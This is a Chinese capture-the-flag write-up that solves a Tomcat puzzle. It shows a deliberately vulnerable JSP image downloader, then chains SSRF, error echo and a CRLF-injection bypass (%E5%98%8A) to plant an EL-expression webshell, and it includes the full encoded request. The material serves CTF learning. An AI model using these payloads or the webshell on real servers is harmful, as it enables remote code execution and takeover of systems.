题目地址:https://mp.weixin.qq.com/s/grtTLQm_5ucm_XIUAZ9V0A
WP:https://mp.weixin.qq.com/s/FU_xCN7Uwfegy69aRXIVJg
题目背景
某公司的内部管理系统部署在内网环境中,管理员配置了严格的访问控制策略来保护敏感的管理页面。然而,安全配置的疏漏往往藏在细节之中...
题目说明
目标服务器运行着一个<font style="color:rgb(30, 107, 184);">Java Web</font>应用,管理员对<font style="color:rgb(30, 107, 184);">/admin/*</font>路径设置了访问限制。系统提供了一个图片下载功能,但服务器处于内网环境,无法访问外部网络。
你需要突破重重限制,最终获取到系统权限。
请勿进行扫描爆破等操作,目标环境不出网。
源码及访问地址
源码:
https://github.com/cwkiller/Java-Puzzle/blob/main/Tomcat's Secret Chamber/apache-tomcat-9.0.10.zip
环境搭建
下载源代码使用 idea 打开,编辑 tomcat 配置,选择好项目对应的 tomcat 目录。

部署设置应用目录。

访问环境。

解题
存在 getimg.jsp 文件

脚本大致功能如下:

因此思路为利用该应用报错回显来写入 webshell,url 参数可以指定当前应用 url,想办法让请求的报错达到在返回包自定义 webshell 内容的目的,因为 getimg.jsp会把响应包的内容写入到 url 最后一个 / 之后定义的文件名中。
java
<%--
这是一个存在严重安全漏洞的JSP文件下载功能
功能:从指定URL下载文件并保存到服务器
安全警告:此代码未经验证的用户输入,存在多个安全漏洞
使用方式:访问此JSP时需提供url和token参数,如:
http://example.com/download.jsp?url=http://target.com/file.jpg&token=abc123
--%>
<%-- JSP页面指令 --%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%-- 导入Apache HttpClient相关类,用于发送HTTP请求 --%>
<%@ page import="org.apache.http.client.methods.CloseableHttpResponse" %>
<%@ page import="org.apache.http.client.methods.HttpGet" %>
<%@ page import="org.apache.http.impl.client.CloseableHttpClient" %>
<%@ page import="org.apache.http.impl.client.HttpClients" %>
<%@ page import="org.apache.http.util.EntityUtils" %>
<%-- 导入Java IO类,用于文件操作 --%>
<%@ page import="java.io.*" %>
<%
// ========== 参数接收部分 ==========
// 从HTTP请求参数中获取目标URL
// 安全漏洞:未对用户输入进行任何验证或过滤
String targetUrl = request.getParameter("url");
// 从HTTP请求参数中获取token
// 安全漏洞:token验证机制薄弱,仅为简单头部验证
String token = request.getParameter("token");
// 检查必需参数是否存在
if (targetUrl != null && token != null) {
// ========== 变量声明部分 ==========
// HTTP客户端,用于发送请求
CloseableHttpClient httpClient = null;
// HTTP响应对象
CloseableHttpResponse httpResponse = null;
// 文件输出流,用于将下载内容写入文件
FileOutputStream fos = null;
try {
// ========== HTTP请求发送部分 ==========
// 创建默认配置的HTTP客户端
httpClient = HttpClients.createDefault();
// 创建HTTP GET请求对象
// 安全漏洞:直接使用用户输入的URL,可能导致SSRF攻击
// 攻击者可请求内网资源:http://192.168.1.1/admin
HttpGet httpGet = new HttpGet(targetUrl);
// 添加Token到请求头部
// 安全漏洞:token以明文形式传输,无加密
httpGet.addHeader("Token", token);
// 执行HTTP请求并获取响应
httpResponse = httpClient.execute(httpGet);
// ========== 响应处理部分 ==========
// 将HTTP响应内容转换为字节数组
// 安全风险:可能下载大文件导致内存溢出
byte[] content = EntityUtils.toByteArray(httpResponse.getEntity());
// ========== 文件名提取部分 ==========
// 从URL中提取文件名(最后一个斜杠后的部分)
String fileName = "";
int lastSlashIndex = targetUrl.lastIndexOf('/');
if (lastSlashIndex != -1 && lastSlashIndex < targetUrl.length() - 1) {
fileName = targetUrl.substring(lastSlashIndex + 1);
}
// ========== 路径构造部分 ==========
// 获取Web应用程序根目录的物理路径
// 示例:/var/www/tomcat/webapps/myapp/
String webRootPath = application.getRealPath("/");
// ========== 安全过滤部分 ==========
// 简单的路径遍历攻击防护(非常薄弱)
// 仅检查是否包含"..",可轻易绕过
// 绕过示例:使用"."或编码后的".."
if (fileName.indexOf("..") != -1) {
fileName = "error";
}
// 构造文件保存路径
// 安全漏洞:可能覆盖服务器上已有文件
// 安全漏洞:未验证文件类型,可能上传恶意文件
String filePath = webRootPath + "/img/" + fileName;
// ========== 文件保存部分 ==========
// 创建文件输出流
fos = new FileOutputStream(filePath);
// 将下载的内容写入文件
fos.write(content);
// 强制将缓冲区内容写入磁盘
fos.flush();
// ========== 结果输出部分 ==========
// 输出文件访问地址(Web访问路径)
// 示例:访问地址: /myapp/img/photo.jpg
out.println("访问地址: " + request.getContextPath() + "/" + fileName);
} catch (Exception e) {
// ========== 异常处理部分 ==========
// 向客户端输出错误信息
// 安全漏洞:将异常详情暴露给用户,可能泄露敏感信息
out.println("错误: " + e.getMessage());
// 在服务器日志中打印完整异常堆栈
// 用于调试,但生产环境应记录到日志文件
e.printStackTrace();
} finally {
// ========== 资源清理部分 ==========
// 确保资源被正确关闭,防止资源泄漏
try {
if (fos != null) fos.close();
if (httpResponse != null) httpResponse.close();
if (httpClient != null) httpClient.close();
} catch (Exception e) {
e.printStackTrace();
}
}
} else {
// ========== 参数缺失处理 ==========
// 当url或token参数缺失时,提示用户
out.println("请提供 url、token参数");
}
%>
<%--
安全漏洞总结:
1. SSRF漏洞:可请求任意URL,包括内网资源
2. 路径遍历:文件名过滤不充分,可能访问系统文件
3. 文件上传漏洞:可上传任意类型文件到服务器
4. 信息泄露:异常信息直接暴露给用户
5. 无文件大小限制:可能下载大文件导致磁盘或内存溢出
6. 无文件类型验证:可能上传恶意脚本文件
7. 无访问控制:任何人都可调用此功能
8. Token验证薄弱:仅为简单头部验证
建议修复措施:
1. 验证目标URL域名白名单
2. 严格限制文件扩展名(只允许图片格式)
3. 限制文件大小
4. 使用安全的文件名生成策略(如UUID)
5. 添加身份验证和授权检查
6. 使用HTTPS保护token传输
7. 将异常信息记录到日志而非返回给用户
8. 添加速率限制防止滥用
--%>
请求 url 是可以报错回显的,但是不支持 { < 这类 webshell 所必须的符号,直接报错 400,不回显内容,因此只能发从Token 头入手,想办法让 Token 的值可以回显到页面中。

因为可以 token 参数的值为请求包的 Token 头的值,因此需要想办法让 Token 的值可以回显到相应包以达到自定义 webshell 的目的,这里通过换行\n导致报错,因此可以将自定义内容输出到页面中。

这里报错就是因为换行了,没有头的内容可以直接回显到页面中。
测试是否支持{} <>,发现支持 {

因此可以用 EL 表达式在构造 webshell。
java
${param.getClass().forName(param.error).newInstance().getEngineByName(param.Engine).eval(param.cmd)}
经报错测试,可以完全回显到响应体中。

使用/admin/getimg.jsp文件测试,发现生成的 jsp 文件报错404,没有达到预期的报错 400 并且把自定义内容写入 test.jsp。
java
HEAD /admin/getimg.jsp?url=http://127.0.0.1:8088/test.jsp&token=%61%61%61%61%61%0d%0a%24%7b%70%61%72%61%6d%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%70%61%72%61%6d%2e%65%72%72%6f%72%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%67%65%74%45%6e%67%69%6e%65%42%79%4e%61%6d%65%28%70%61%72%61%6d%2e%45%6e%67%69%6e%65%29%2e%65%76%61%6c%28%70%61%72%61%6d%2e%63%6d%64%29%7d HTTP/1.1
Host: 192.168.2.141:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8


开始排错,本地nc监听 9999 端口,请求 url 改为 9999 端口,可以看到 Token 头并未换行成功,因此直接 url编码\n无法实现换成。


这里考察的是 CRLF注入绕过。
CRLF注入 (Carriage Return Line Feed Injection)是一种Web安全漏洞,攻击者通过在HTTP请求中插入回车符(CR, **<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">\r</font>**,%0d) 和换行符(LF, **<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">\n</font>**,%0a),来控制HTTP响应或日志格式。
<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">%0d%0a</font> 是 CRLF(回车换行)的URL编码形式。
**<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">%0d%0a</font>** = <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">\r\n</font> = CRLF

Apache HttpClient对CRLF注入做了防御。
通过搜索或者询问AI可以找到这个issues(或者直接搜索CRLF注入有类似的payload)
找到一种绕过方式使用\u560d\u560a来代替\r\n,然后我们将\u560a进行URL编码最终得到 %E5%98%8A 。
将%0a 替换为 %E5%98%8A 即可成功换行。


EL webshell 被成功写入 test.jsp文件中。
